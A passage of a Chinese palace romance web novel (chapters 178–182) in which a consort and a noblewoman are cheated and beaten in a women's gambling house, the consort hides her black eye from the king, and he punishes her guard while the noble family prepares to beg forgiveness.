还是她那一身配饰更为值钱,一双贼眼就盯上了阿史苓腰间一块精美非凡的圆形物件,不知是什么。 于是探手去取,谁知那物件上系的不是棉绳,而是一条细金索子。 其实那东西并非什么特别贵重之物,实是一面珐琅镜,因挂得牢实,结果那人没扯下来,反让阿史苓察觉了,当下一个耳刮甩过去,喝骂道:“哪里来的贼妇,偷到你奶奶身上来?!” 那女人被扇懵了,怎么也没料到这么娇小的女子,脾性怎的这样烈,懵过之后,怒火骤起,就要回扇过去。 被珍珠一把拦下,呵斥道:“你做什么?” “做什么?你没看见她扇打我?”那人捂着脸叫道。 此时周围之人皆看向这边。 “打得就是你,连我的东西也敢偷,不该打?”阿史苓扬声道,一点不带怕的。 七姑见事情闹开,帮腔道:“你这人好不讲理,你说她偷你东西,总得讲个证据,谁看见了?” 赌场里的熟客自然知道七姑等人,可也不愿为着一个不相识的人出头,得罪四个女混子。 而场中维护秩序的女伙计正待上前调和,却被另一人拦住。 “不去管,叫她们闹,那几个生客来了只看,不玩,让咱们没得钱赚,受受教训也好。” 说话这人正是引江念等人进来的女伙计,于是几名护场的女伙计不插手,只冷眼看着。 七姑几人一看这情形,胆性越发膨胀。 挨打那人收到七姑的眼色,往地上一躺,口里哎哟直叫唤:“打人啦,打死人啦——我头晕,我眼花,看不清,听不见,以后可怎么活?家里还有嗷嗷待哺的崽子,男人嫌弃不要我——没法活啦!” 江念见状蹙起眉头,知道这是被讹上了。 这些人的目的无非就是要钱,她不想在这里耽搁太久,呼延吉见她这样晚不回,定是心里惦着,她也怕万一闹事,日后再想出来,呼延吉那边不好说话。 江念向来把钱看得很轻,除了被发配的一路,就没怎么吃过苦,更没缺过钱,眼下只想快些抽身离开,花钱了事,她不是赔不起,于是在秋月耳边低声说了一句。 秋月上前一步,从袖中掏出一个荷包,说道:“这些钱拿去,够你们花治了。” 七姑接过那荷包,打开一看,眼中陡然生亮,转瞬又敛下,不阴不阳地嗤了一声:“花几个臭钱就想平事?把人就这么白打了?没这么便宜的事情。” 阿史苓气不过:“你们想怎样?” 七姑先是在江念头身上看了两眼,又转看向阿史苓,说道:“这些钱肯定不够,你们看着办。” 阿史苓眼梢中见江念面色不虞,心道,父兄一再告诫她,把梁妃陪侍好了,这是他们朵家表诚的绝好机会,万不能砸在她手里。 这一天走下来,梁妃是欢喜的,还叫她去王庭陪她说话,万不可在这个节骨眼坏事,于是压下心头怒火,从腕子上褪下一个镶粉玛瑙金镯,扔了过去。 无论是江念还是阿史苓,心中各有顾忌,说白了她们是穿鞋的,偏碰上几个赤脚的。 “拿去,够你们花几辈子。”阿史苓说道。 七姑接过镯子,看了一眼,塞入自己的腰间。 若换旁人,兴许得了便宜就此收手,可这几人皆是贪得无厌的赌婆,不能以常人而论。 七姑一笑:“拿个假货来诓骗我们?让我们搜一搜身,总得找个货真价实的物件来才算完。”说罢,四人围拢就要去扯江念几人身上值钱的物件。 珍珠、秋月还有珠珠三人立马拦在主子们前头护着。 七姑四人哪是善茬,当下动起手来,秋月和珍珠虽为丫鬟,那也是自小在高门大户养成的,懂规矩,知礼仪,像她们这些大丫头平日又不做重活,比之小户人家的千金也不差什么,再加上一个半大的珠珠,哪里敌得过蛮狠泼辣的七姑四人组。 女人们打架,无非就是扯头发,抓脸皮,两方扭打得不可开交…… 第179章 几分风尘,几分轻佻 秋月这方只三人,七姑那方有四人,人数上就不占优势,如何敌得过? 不过秋月几人为了护主也是发了狠,把七姑几人拖着,就是不让她们靠近自家主子。 “啊——”一声娇喝,阿史苓再顾不得什么,捋起袖子,跳起脚加入扭打中,从来只有她教训人,没人敢这样欺负她。 江念一见,也急了,想要出门叫阿多图,却被对方拦下,脱不开身。 “别打——别打呀——有话好好说,咱们好好说话——”江念在旁边拉架,急得直嚷,又束手无策,手脚都不知该怎么放。 她们是体面人,不兴这样丢身份,一面在旁边急得打转,可见着阿史苓被人揪住落了下乘,她又忙凑上去握着拳头,给对方狠狠来两拳,再退到另一边去拉开同秋月对揪的人,顺带再推攘对方一把。 一会儿这边,一会儿那边,颠颠着,东拦西劝,她成了几人里最忙的那个。 霎时间,两方难分上下。 阿史苓让人揪住了头发,她自己也死死揪采对方的头发不放,大叫一声:“念念姐,给我递个称手的东西来。” 江念看了一转,捉裙跑到一角,从桌上拿过一个花瓶。 众人看得分明,这女人先拿一个小花瓶,丢开,最后换成了最大的花瓶,递给个头娇小的女子。 阿史苓接过花瓶,往对方身上一顿猛砸,好在那花瓶是木质的,结实耐打,抡了好几下,把对面之人打得惊嚷怪叫。 围观众人跟着拊掌起哄,这可比赌钱有意思多了。 七姑抽出身来,就要上前撕扯江念,江念一看,吓得往旁边躲闪,她不要同人干架,这种跌面的事,她一辈子都不要做。 七姑见她这样退怯,越发要去扯她。 这时秋月抽出手来,将七姑拉住,可秋月身后又有一人将她扯着,七姑稍稍一挣,便脱了身,就去追江念,三两步追上扯着她的后领,一拉…… 江念心里一紧,让她与人斗智斡旋尚可应对,说白了,玩得是高端局,讲得是谋略心术,翻云覆雨,可叫百年簪缨世族,累世基业,顷刻瓦解。 像她,朵妲儿,还有大部分世家贵女,皆是如此, 你让她们动脑子可以,使嘴巴功夫也不在话下,一旦动起拳脚,个个都只一句,有辱斯文,成何体统! 当然了,掀桌子的朵氏是个例外,现在又多了一个例外,阿史苓。 江念被那女人扯住后领,拉到身前,一把扯下她头上的碧海簪珠。 “你这珠子不错,叫我看看是真是假。” 碧海簪珠被扯下,江念脑后的发辫少了一道绑束,半松半散起来,鬓间的发丝也落在腮边。 江念脸噌的一红,众目之下从未如此丢人,正羞恼着,对面的女人“咦——”了一声。 江念转身看去,脸色唰地一白,两眼瞬间火起:“还给我!” 七姑先是一怔,将指上垂挂的物件摆了摆。 “把它还给我!”江念沉声道。 七姑手里提着一根绳,绳下摆了一月牙形的物儿,吊在眼前看了看,刚才扯这梁女辫上的碧海珠时还不见她怎样,这会儿见了此物,连脸色都变了。 这是个什么玩意儿,叫她如此慌张在意,看着像兽牙,难不成比碧海珠还稀罕? 江念冲到那女人面前,往她身上一撞,两人一齐倒地,不待女人反应,劈手抢夺她手里的东西。 那是呼延吉送她的狼牙,是他儿时射猎头狼的獠牙。 七姑反应过来,避开江念的手,结果争抢中,“哎哟——”一声,江念眼睛挨了一拳,不过七姑也没好到哪儿去,手被江念咬破。 两人揪打得分扯不开,旁边还有人不嫌事大的喝起彩来。 七姑心道,她已经拿到碧海珠,那兽牙不要也罢,当下脱身才是上策,于是将兽牙远远地掷到一边,江念眼里只有狼牙,忙从七姑身上起开,扒动人群,寻找狼牙。 七姑得以脱身,一溜烟跑了,其他三人见七姑跑开,也脱身跑了。 “都让一让,让一让,别踩了……”江念一面找一面焦急地说着,女人们最爱看热闹,哪里肯散开,江念不得不弯腰觑眼找寻。 听到人群里一女人说道:“这里呢,在这里。” 江念循声看去,那枚小小的骨饰落在拥杂的缝隙间,两步上前,将它拾起,放在手心,小心地拂掉它身上的灰,又吹了吹,在手心渥了渥,定了定心神,喃喃道:“还好,还好。” 说罢,将它放入胸口的衣襟内。 秋月跑了过来,仓皇道:“主子,有没有哪里受伤……” 江念一抬头,秋月的问话卡在了喉咙,吞吐不出,只见她家主子的右眼外围渗出一圈紫红色的肿晕,一点点肿起来,把眼眶都挤小了。 没了热闹看,这会儿人群渐渐散开,阿史苓扒了扒蓬乱的头发,吁了口气,走了过来,看到江念的右眼,心里一咯噔,刚散下来的气,瞬间提到喉咙眼,完了,完了,要死了,要死了…… “念念姐,你的眼睛。” 江念这才觉着眼睛异样,特别是眨眼的时候,抽抽地疼。 抬手往那里碰了碰,“嘶——”,那会儿血气上涌,一点不觉着疼,这股蛮劲退去,才后知后觉。 阿史苓取下腰间的珐琅镜,“嗒——”的打开:“念念姐,你看。” 江念往镜中看去,跳脱地问了一句:“你这镜子哪里觅得,照人如此清晰。” 阿史苓哪儿还有心思谈这些,她捅了大娄子,回去怎么向父兄交代。 江念看向镜中,右眼圈青紫一片,好在没有渗血,又试着闭上左眼,右眼视物不受影响,这才放心。 “主子,我叫阿多图大人把那些人追回来。”秋月说着就要往外走,却被江念叫住。 “先找这里的管事之人。” 店中有人闹事,聚宝阁却无人出面维护,那还开什么店? 秋月叫了一个女伙计,让其报知店中管事出来相见。 女伙计有些不情愿,秋月叱喝道:“你们赌坊是天庭老爷开的不成?不过一个管事的,就这般大的架子,叫不动么?” 秋月话音刚落,另一个声音盖压过来:“什么人,找我?” 众人回头看去,就见一女子从三楼沿着阶梯缓缓往下走来,光影中,是随着步调翻动的绯红衣浪,渐渐的,整个人从暗处走到亮处,露出姿容。 这聚宝阁的女管事名叫万银子,这名是她自己改的,就是为了衬这贵气的楼宇。 女人颇有姿色,尤其那一身少见的风流韵味,比之娼妓少了几分风尘,比之良妇多了几分轻佻。 秋月同珍珠上前,质问道:“刚才有人闹事,你店中伙计只在旁边看热闹,站干岸,就这样开门做生意?” 万银子看了一眼秋月,再看向她身后的江念,说道:“来店里的都是客,伙计们也不能拉偏架不是?不如这样,我在这里给几位赔个不是,和气才能生财嘛。” 江念心道,刚才那么大的动静,这女管事不可能没听见,这会儿轻飘飘一句就想揭过。 才闹的时候,万银子就从三楼窥见了,这要放在平时,她定要下楼让伙计调停,毕竟开门做生意,不好叫客人受欺负,也得维护店面平和。 然而这次,她却只默坐旁观。 原因无他,只因她也瞧上了这女人头上的碧海珠还有另几件首饰。 七姑几人抢的那些名贵饰物,没有别的地方可处置,最后还得拿到她这里销赃。 届时,这些东西俱归属于她,凭白坐收渔翁之利。 江念走上前,问道:“你们东家开这般大的店子,请了这位女管事来理事,现下店中有人闹事,还将我等打伤,女管事只不痛不痒地来一句,就是赔错?不得不让人起疑,女管事莫不是同那些女混子一伙的?除开这个,我实在想不出其他理由。” 此话一出,周围兀地一静,女客们心里跟着起疑,店里客人被七姑几人欺辱,作为管事的万银子却丢手不管,这说不通,难道真如那梁女所说? 万银子面色一变,暗道这人嘴头子好厉害,一句话直戳要害,不可再顺着她的话说,于是反咬一口:“我看你们几人是对家派来故意搅事的罢,恶意污我聚宝阁名声。” 说着,往前走了几步,声调提高:“在京都城,你们也不打听打听,聚宝阁背后之人是谁,岂能由着你们几人挑事,先前我好言赔错不过是不愿同你们计较,别给脸不要脸,再多说一句,让你们尝一尝牢狱的滋味,才知道利害。” 阿史苓上前一步,气得哼哼:“好,好一个聚宝阁,我倒是要看看你聚宝阁背后之人是谁,我阿……” 江念忙按住她的手,在她手上握了一把,说道:“走罢,我有些累了,今儿的事情就这样罢,不再追究了……” 第180章 湿热的胸口 阿史苓纵然心有不甘,却也不再言语,她明白江念的用意,把事情闹大了,叫大王知晓,周围一圈人少不得要受牵连,她阿史家,还有今日随行的众人。 就连阿多图大人亦不能幸免,罢黜职官都算轻的。 对江念来说,此番不过是失了些钱财,人虽受了伤,也无大碍,金锦之物她有的是,身外之物而已。 几人听了,哪能不知江念的好意,特别是阿史苓,当即就红了眼眶,拿袖子擦眼抹泪。 “没事,没事了,走罢。”江念拍了拍她的手,只要忍个几日,待眼伤痊愈,大家都能相安无事,阿史苓和阿多图不用受责,几个婢子亦能免惩。 因男子不能进入聚宝阁,阿多图带亲卫们在院墙外的空地上候着,里面的闹动传不到这里来。 月色渐浓,还不见人出来,正要上前问询,远远看见门帘打起,几道熟悉的身影从楼内走出,径直走到马车边。 秋月和珠珠护着江念坐上一辆马车,珍珠护着阿史苓登上另一辆马车。 这会儿夜色朦胧,阿多图没注意到什么异常,调出几名亲卫,送阿史苓回府,自己仍随在江念的马车边,亲自护她回王庭。 两辆马车一前一后驶出,走到一个岔路口分开。 阿多图护着马车进入王庭后,就听到马车里传来那名叫秋月的丫鬟的声音。 “今日劳烦大人了,就护送到此罢。” 已是进入王庭,阿多图没作多想,领命带人退下。 待人离开后,秋月揭帘对外吩咐道:“去宫医署。” 赶车人应下,驾车往宫医署行去。 到了宫医署前,秋月下了马车,进入宫医署的院子,没一会儿又趁黑走出来,登上马车。 “主子,你看,弄来了。”秋月摊开一个纸包,里面是一些纱布和两瓶膏子药。 江念点头道:“来罢。” 珠珠在一边打起车帘,让宫医署的檐下光烛透进来,担忧道:“这……这样真的可以么?大王若是知晓了,定要恼。” 江念摆了摆手道:“不打紧,我有法子瞒他。” 秋月听了,不再耽搁,先给江念右眼上了药膏,覆上纱布,最后系上绷带。 “主子,好了。” 江念“嗯”了一声,马车调转方向,往西殿行去。 然而,江念不知,傍晚时分,呼延吉等她不回,便派了人守在王庭大门前,是以,马车一进入王庭,就有人向呼延吉传话,落后车行到哪里,做了什么,皆有人一五一十地通传。 江念在西殿前下了马车,殿院的宫侍们见她回了,忙迎了上来,把人接进殿中。 木雅望了江念一眼,忧心道:“眼睛怎么了?”问过后又看向秋月。 秋月并不言语,面上难为,眼神躲闪。 江念微笑道:“无事。” 木雅聪明的不再问了,叫两名宫婢随侍,自己留在外殿分派宫人们手头上的事务。 江念进入寝殿内,就见呼延吉坐在矮案前喝着花茶。 她走到毡毯边,踢了鞋,移步到他的身边,敛裙坐下:“我回来,你怎么看也不看我一眼?” 呼延吉转过头,往她脸上望了望,戏说一声:“哟!这是受伤了?” “没受伤呢,在外面玩时进了不干净的东西,就上了点药。”江念说道。 呼延吉拉长腔调“哦——”了一声,伸出手,就要去取纱布:“让我看看,进了什么东西。” 江念忙侧过脸,让呼延吉的手落了空。 “东西清出来了。”江念不想停在这个话上,遂岔开话头,“妾身还未用晚饭,大王吃过了?” 呼延吉收回手,朝外吩咐上饭菜。 “等你呢,玩得不愿回了?” 江念刚想依在他的肩头,宫婢们进寝殿摆饭,于是忙端正身子,收回搭在他身上的手,然后起身,坐到他的对面。 呼延吉往她脸上看了一眼,又移到她右眼上的白纱布。 饭菜上好,有片如薄翼的鱼片汤,奶白的汤面上撒着碧翠的葱花、鲜酥的羊羔肉、清蒸的珍珠丸,还有两盘鲜蔬菜,又上了一花碟的甜点。 宫婢们退下,两人开始用饭,先时不说话,江念抬眼看向对面,见呼延吉微垂着眼,脸侧的腮骨随着咀嚼缓动,因心虚作祟,便没话找话说。 “苓姑今日带妾身去看了蹴鞠赛。” 呼延吉“嗯”了一声,抬眼问道:“好看么?” 江念点头道:“再没有比这更精彩的赛事,这次没看够,下次再去。” 一语毕,呼延吉默然不语,也不接她的话,江念心里有些急了,放下碗筷,起身,走到他身侧坐下:“我说话,你怎么也不应一声?” “应什么?” “妾身还想去看比赛。” 呼延吉“嗯”了一声,算是应下,可江念总觉着不对,一时间又说不上来。 还未等她多想,呼延吉又道:“赌钱比蹴鞠更有意思不是?” 江念心里一突,心道这是瞒不住了,遂说道:“你知道了?” 呼延吉本是有气的,见她小心翼翼的样子又说不出重话。 “你以为呢,回了王庭,图奴就过来向我报知,我能不知道?” 江念听后,先是呆了呆,反应过来,应是她去宫医署的空当,阿多图往西殿报知,这样说来,呼延吉只知她去了聚宝阁,聚宝阁内的事情,他是不知晓的,遂暗暗松下一口气。 “我只进去见识一下,倒真让我大开眼界,咱们夷越竟有这样有趣的地方。” 呼延吉听她说“咱们夷越”,心里舒快不少,跟着面色也缓了下来,他怎会看不出来,她不想成日困于这高墙之内。 “你若再想出王庭,只告诉我一声,我叫人跟着你,只是赌坊这种地方鱼龙混杂,日后还是少去。” 江念狠狠点了点头,亲自给他舀了一碗鱼汤,递到他面前,小意道:“尝尝。” 呼延吉从她手里接过,江念便重新坐回对面。 用罢饭食,宫人们进来清了桌面,重新熏香,二人以香茶漱口,因呼延吉在江念未回时已沐过身,便从书架上拣了一本书,倚在窗榻上懒懒地翻看。 江念则在宫婢们的随侍下出了寝殿,穿过露台,去了沐室。 秋月替江念宽去衣物。 江念挥手让其他宫婢退出,吩咐秋月:“这眼上的纱布一并摘了罢,这里潮热,捂着难受。” 秋月应下,小心地将那片纱布拿下,然后看向眼周的伤处,没有半分轻减,反比刚才还肿了些。 “主子,要不还是告知大王,眼上的伤可不是玩的,万一有个什么不好,婢子的罪可就大了,死一万次也不够。” “一会儿你再给我上些药。”江念说道。 秋月应下:“那婢子现在去把膏子药拿来。” 江念点头。 秋月退下,江念除去身上的披衫,走到池边,慢慢入到温泉池内,双手捧起水往脸上一泼,就势一闭眼,睁眼之间拿手拭去脸上的水渍,不小心擦到右眼的伤,疼得“嘶——”了一声。 “怎的了?”一道关心的声音从后响起。 江念浑身一震,将身子往水里一矮,往池中央走去。 “大王不是才洗过了,怎么又来?” 呼延吉的声音从池岸传来:“过来同你说说话。” 他现在十分离不得她,在跟前时还不觉得,他从前廷回来见不到她的人,心里就是空的,做什么都没劲头,好不容易延挨到傍晚时分,仍不见她回。 怎么回来后像有意躲着他。 “我一会儿就起身了。”江念说着,把额发往前拢了拢。 她越是避着,呼延吉就越是起疑。 “你过来。” 江念怔在那里不动,假模假样地撩水。 呼延吉彻底肯定了,绝对有事,声音陡然一变:“江念,我说话你没听到?” 江念仍是立在池中不动身,背对着呼延吉,脑中快速想着找什么说辞,就听到“哗啦——”的水声响动。 池水震荡起来,波纹一圈一圈扩散到她这里,心里一紧,慌得划开水,往前奔去,然而还没走上两步,被一个强悍的力道拉住,带了过去。 江念双手抵着,只顾垂着颈儿,右侧微湿的发丝黏掩在脸上。 呼延吉挑起她的下颌,让她的脸迎向自己,伸手拨开脸上的发丝,拢到她的耳后。 江念把脸侧到一边,不愿他看。 “别动。” 男人的声音明显已押着火气,说着,指尖略施力道,将她的脸带正,凝目盯视着那处眼伤,然后指尖颤抖着在她眼角抚了抚。 “怎么弄的?”呼延吉低声问道。 江念想糊弄过去,便将一双凝如莹雪的酥臂环上男人的颈,再将脸贴在他湿热的胸口。 男人的衣襟稀皱在胸前,透出里面的肉色。 “蹴鞠比赛的时候人太多,太热闹,不小心撞了一下,就成这样了……”江念以为故作软腔,这事就能糊弄过去。 呼延吉“嗯”了一声,问道:“撞在什么物儿上?” “在一处拐角撞的,哎哟——当时可疼……”说着把脸仰起来,闭着右眼,递给呼延吉看。 呼延吉低下眼,一双双琥珀色的眼眸,落在她的眼梢上。 江念缓缓睁开右眼,截住他的目光,心里突然一疼,也不知为什么难受,应是被他眼睛中流露的情绪感染了。 然而,男人单刀直入地发问:“谁打的……” 第181章 算账,有一个算一个 江念回望向他,望向男人潮热雾气中微淡的眼睫,她以为软言几句,就能把这事揭过去,可她料想错了。 呼延吉不可能轻易放过,再次发问:“谁打的?” 江念抿了抿唇,说道:“都说了,是我自己撞的。” 呼延吉没再追问,松开她往池岸边走去,丢下一句:“别洗了,起身。” 江念也没打算一直泡着,在外面游玩了一日,人也疲乏,想快些上榻歇息,于是加快动作,用水囫囵在身上擦拭一番,随后往池岸走去。 呼延吉早已出了沐室,她从水里起身,也不招宫婢们进来伺候,自己拿毛巾将身上水渍擦干,连带着绞干了头发,然后套上寝衣,系上衣带出了沐室,穿过露台,进到寝殿。 一进寝殿,就见呼延吉歪坐在窗榻下,见她进来,启口道:“伺候她穿衣。” 江念这才发现,寝殿中不止她和他,还有几个宫婢,木雅、达娃、帕依、秋月,角落里还立着珠珠,而在呼延吉发话后,木雅几人立着不动,只秋月上前服侍她穿衣。 “就要歇下,怎的还更衣?”江念问道。 呼延吉的声音带了些冷意:“叫了宫医来,让他们诊看诊看。” 江念不再说什么,任秋月给自己套上外衫,只是她发现秋月给自己理衣的手在颤抖,连系衣带的动作都不利索了。 这时,殿外通传宫医在外请见。 江念已穿戴好,一头半干半湿的乌发用簪子绾在脑后。 “请进来。”呼延吉说道。 木雅应诺,出了殿外,把当值的宫医引进寝殿。 那宫医不是别人,正是同云娘相熟的申姓宫医,进入寝殿后,并不敢抬头,向呼延吉同江念行过叩拜大礼,起身后随在木雅身侧,立着。 “烦请宫医看一看梁妃的眼伤。”木雅将身子让开。 申宫医躬身行到江念面前,道了一声:“微臣奉命看诊,望梁妃殿下恕臣唐突之罪。” 江念颔首:“有劳宫医。” 申宫医这才微微抬起头,细细诊调江念的右眼,又问询一番。 “有无伤到要害?”呼延吉走了过来。 申宫医忙答道:“回大王,目力有无折损一时不好定论,还需观察数日,大王、王妃放宽心,就臣眼下观察,应是没有大问题。” 呼延吉点了点头,叫木雅将人带下去,开方子备药。 江念听说眼睛无碍,也放宽了心,一时间寝殿中安静下来。 江念坐在凳子上,呼延吉立在她的身侧,也不叫宫人们退出,江念仰头望向他,拿眼询问,怎么还不叫人出去,他们好安歇。 可呼延吉并不看她,而是将一双眼看向殿外。 殿里越发寂然无声,直到这个时候,她的耳朵捕捉到一点点异响,很轻很细小的声音,闷闷的,一下、两下、三下…… 不待她反应,一宫人走了进来,通传道:“回大王,阿多图大人的五十棍已仗完。” 呼延吉“嗯”了一声,问道:“死了?” 宫人答道:“尚有气息。” 江念忽地站起,问向呼延吉:“大王这是做什么?” “护主不力,没打死他算好的。” 江念一口气噎在胸口,说道:“阿多图大人并不知情,他什么也不知晓。” 呼延吉冷声道:“那就更该打,叫他一路护你,结果你眼睛弄成这样,他却什么都不知道。”说罢,眼睛横向秋月,吩咐道:“把这个也拖下去,打到断气为止!” 宫人应诺,就要拖秋月下去受刑。 江念喝道:“不许动她!” 呼延吉可不管,仍叫宫人把秋月拖下去。 江念急了,握着手在他胸口捶打了一下,这一动作,叫宫人们吓破胆,哗啦啦齐齐伏跪在地,不敢抬头。 呼延吉低头见她竖起柳眉,红了眼圈,薄面含嗔,连腮带耳都气红了,不得不压下心气,闭了闭眼,咬了咬后槽牙,喝了一声:“都滚出去!” 待宫人们退出,江念错开呼延吉,走到榻边,宽去外衫,踢了鞋,入到帐中。 呼延吉在原地静了静,随后也宽衣上榻,一个面朝里,一个面朝外,中间隔着一个过道,谁也不理谁。 在外游玩一日,江念本是乏困,叫刚才一闹也没了困意,微睁着眼,看着眼前的纱帐,还有帐上的影,有他的,亦有她的,她的影融在他的影里。 然后,她的人也融在了他的怀里。 他的双臂环在她的腰间,微微欠起身,挨着她的脸,拿唇碰了碰她的耳,轻声道:“还恼着?” “妾身不敢恼大王。” 女人说话时带了些鼻音,呼延吉将她扳过来,让她面对自己,果然,眼睛是湿的。 “嘴上说不敢,手上的劲儿可不小。”呼延吉逗她道。 江念听了没忍住,噗嗤一笑,又忙压下笑脸。 呼延吉突然注意到她的颈间,问道:“脖子上的东西呢?” “放在外衫的怀兜里。” “怎么解下来了?拿来,我给你戴上。” 江念起身,下榻趿鞋,把那狼牙拿到床帐里,呼延吉接过,他从后给她环上,系好,摸了摸她的头发,仍湿着,干脆自己下榻,拿了小暖炉来坐在她的身后,给她烘发丝。 就这么,她坐在他的腿间,他一面给她烘头发,一面说着:“现在可以说了么?” 江念想了想,说道:“只要你不迁怒他们几个,我就说,至于那些人随你处置,是打是杀我不管。” 这个“他们”自然是指今日陪在她身边的一行人,而“那些人”便是罪魁祸首。 呼延吉点了点头:“不大戒,却逃不了小惩。” 江念张了张嘴,想要再说情,终是没说出口,知道他已经做出让步,于是话头一转,便把今日聚宝阁里发生的事情原原本本地讲了出来。 当然少不了她添油加醋地说自己如何英勇地同那个女混子对打的经过。 “我就坐在她的身上,去抢狼牙,她揪我的头发,我也揪她的头发,她给我了一拳头,我就咬她的手。”说到这里,江念呸了一声,“咸不啦叽的,咬得她直叫唤。” 江念仍兴兴头头说着,越讲越起劲儿,却不知道,身后的呼延吉在听到那人抢她的碧海珠簪时,她选择忍让,选择息事宁人,但那人在拎她后领时绷断了他送她的狼牙,她居然冲上去跟人厮打,一时间动容不已。 那玩意儿其实并不值钱,只因是他送给她的,她才这样在意。 “东西没了就没了,只要你没事,以后再不要这样。”呼延吉轻声道。 江念没有接话,而是说:“你叫个宫医给阿多图瞧瞧伤,五十仗,可不是玩笑哩!” 呼延吉冷笑一声:“你倒关心他,放心,死不了的,我心里有数,他自己不知道唤宫医调治?” 江念从他手里抽出自己的头发,掉过身,说道:“你看你这人,明知我的意思还说这样的话,你派过去的宫医,跟他自己请的宫医能一样么?” 阿多图最是忠于呼延吉,呼延吉叫人仗责他,只怕他心里的难受劲儿比身上更甚数倍,若是呼延吉派宫医过去给他诊治,那是一个态度,代表这事过去了。 “行,行,明儿叫个宫医过去。”呼延吉说道。 江念这才笑了起来,可是一笑,那眼周的肉就要用力,一用力就扯着疼。 呼延吉见她那个样子,气也不是,笑也不是,本是一张花朵脸,现在眼周红肿着,又青又紫,倒真是鲜艳。 他用指腹在她眼周轻轻刮过,他的人,他都舍不得动一下,好好地出去一趟,回来成了这样,如何不恨,这个账,他肯定要算的,有一个是一个,都跑不了。 …… 话往回叙,再说另一边…… 阿史苓回府时天已黑透,悄不声儿地回了自己的院子。 不承想她父兄在家中候了她一整日,就等着她回来备述今日的情况。 “老爷,苓姑回了。”下人来报。 “快去,把她叫过来。”阿史家家主,阿史鹞说道。 下人应声去了。 阿史鹞看向儿子阿史勒,说道:“我一整日心神不宁,就怕这丫头闯祸。” 阿史勒给自己倒了一杯茶,喝了一口,轻松道:“父亲莫要担心,在咱们京都地界能出什么事,小妹虽然性子欢脱,但也不是不知轻重之人,再者,她出门前,您同母亲一再叮嘱过,她还是知事的,这个儿子敢担保,绝对不会闯祸。” 阿史鹞一想也是,京都这片地界再安全不过,说夜不闭户也不为过,不论是茶楼、曲院,又或是各大酒楼,想出事都难,何况还带了护卫。 思及此,阿史鹞笑着摆了摆头,他确实过虑了,年纪大了便这样,宽不了心,免不了忧心劳神。 下人去了没一会儿,回来,回禀道:“老爷,苓姑说她累了。” 阿史鹞才扬起的笑僵在嘴角,气得眼直瞪,一拍桌案:“我跟她兄长等了她一日,她一句话就把我们打发了?叫她来!” 第182章 荒唐事 那下人得了吩咐,应声去了。 书房灯火通明,阿史父子在书房叙话,说话间,房门敲响,知道人来了。 “进来。”阿史鹞说道。 门开处,就见自家女儿微垂着颈缓缓走了进来。 走到书房正中,细着声儿,音调不同于平时的清亮,说道:“见过父亲,见过兄长。” 阿史苓屈膝施礼时,阿史勒起身颔首,算是厮见过。 “今日一切都好?”阿史鹞问道。 阿史苓“嗯”了一声。 阿史鹞一听,火气又蹿了上来:“什么规矩,好好答话。” “一切都好,没什么不好的。”阿史苓说道。 阿史鹞听说如此,点了点头,又问:“梁妃殿下今朝游玩,可感欢愉?可曾尽兴而归?”说罢,见自家女儿一直缩着肩,耷拉着脑袋,不悦道:“你总耷拉个头做什么,乞乞缩缩的,教习们从前是这样教你行止的?” 一语毕,见女儿仍垂首立在那里,心感异样,说道:“把你的脑瓜子抬起来。” 阿史苓头往里一缩,绞了绞手指,禀着缩头也是一刀,伸头也是一刀,在明晃晃的光中抬起头。 阿史勒在旁边先是觑着眼,然后脖子猛地一探,最后干脆起身,往前大走了几步。 只见他小妹那眼角、那嘴角,还有脸颊上,那是脏污?一定是脏污!不可能是别的,怎么可能是别的呢,出去玩一趟,不会弄一身伤回来,不会的。 这要真是伤,那意味着什么? 阿史勒仍是不愿相信,而上首的阿史鹞艰难地伸出胳膊,虚空点了点:“又闯祸了?啊?你说话!” 阿史苓被她父亲喝得一激灵,想岔开话,遂没头没脑地问了一句:“父亲可知晓一个叫崔学士的?” 阿史鹞蹙起眉头,说道:“崔学士是新进的重臣,如今大王跟前的新贵,你问他做什么?” 阿史苓吞吐道:“这个……重臣是有多重?” “这是问的什么话?崔致远蒙受王恩,得王青眼,自然不是一般朝臣可比,可绕过左右大臣,直向大王谏言,起草诏令、密件,参与整个夷越政务,你说他有多重?!” 说及此,阿史鹞感觉到不对,他一个女儿家从不关心政务,怎么突然问起崔致远这一号人。 “你这伤是他弄的?”阿史鹞紧声问道,问过后又觉不对,崔致远那人他是见过,一介黑瘦书生,虽说样貌不俊,却是个礼数周全之人。 是以,阿史鹞接着反问:“你把他伤了?” 阿史苓讪笑一声:“也没伤到,就是把他衣服划拉破了。” 阿史父子二人一听,就知道绝不是划破衣服这样简单,怎么划破的?为什么划破?划破之后呢,她又把人家怎样了?这都是问题。 不过当下,他们不关心这个,他们发现她在刻意逃避一个问题,有意岔开话。 阿史勒是了解自家小妹的,走到她身边,先在她脸上溜了一眼,凉了的心又是一凉,仍是抱着一丝祈愿,问道:“梁妃殿下没伤到罢?” 阿史苓抬起头,望着她阿兄,摇了摇头。 阿史勒见她摇头,松下一口气,刚准备对他父亲宽慰几句,就听阿史苓说道:“念念姐挨了一拳头。” “挨……挨了一拳头?”阿史勒怕自己听错,又复问一遍,“一拳头?” 阿史苓“嗯”了一声。 “那你刚才摇什么头?” “阿兄刚才问我‘梁妃没伤到罢’我摇头的意思是……不,她伤到了。”阿史苓说道。 阿史勒听罢,一口气差点没提上来。 阿史鹞闭眼抚额,一只手紧握成拳,搁在桌案上,真真是个闯祸精呐!他还指望她给他挣点荣光回来,好让君王知道他阿史家的忠诚,结果荣光没挣到,出去一趟,得罪了两位大人物。 大王会怎么想,这不凭白恶心他么!这样一个投诚王权的机会,没了!不仅没了,只怕还要降罪。 阿史鹞到底是家主,很快从懊丧中缓回神,只见他一言不发地站起来,指着自家女儿,说道:“你把事情经过讲一遍。” 阿史苓见父亲没有责打她的意思,便把今日在聚宝阁的经过讲了出来。 聚宝阁那是什么地方,京都中无人不知,东市最大的女子赌坊。所有的荒唐事在梁妃挨了一拳头面前都显得无足轻重了。 阿史鹞对长子阿史勒说道:“准备一下,随我去王庭。” 阿史勒点头应下,知道父亲这是携他亲自去王庭请罪,指望大王看在他们诚心赔罪的份上网开一面。 阿史苓见父兄如此,说道:“念念姐说不声张,把今日的事情隐下来,她不计较的。” “梁妃不计较,不代表大王不追究,你还准备隐下来,这事能隐么?你可知晓后果?!小妹,你也该知事了。”阿史勒严词道。 阿史苓眨了眨眼,以前她做错了事,兄长会替她在父亲面前遮掩,若她受到父亲训诫,兄长还会为她讲情,从未如今日这样疾言厉色。 反倒是平日对她严厉的父亲,一句重话也没有,这一反常,叫她意识到此事一定很严重了。 “我同父兄一起去王庭……” 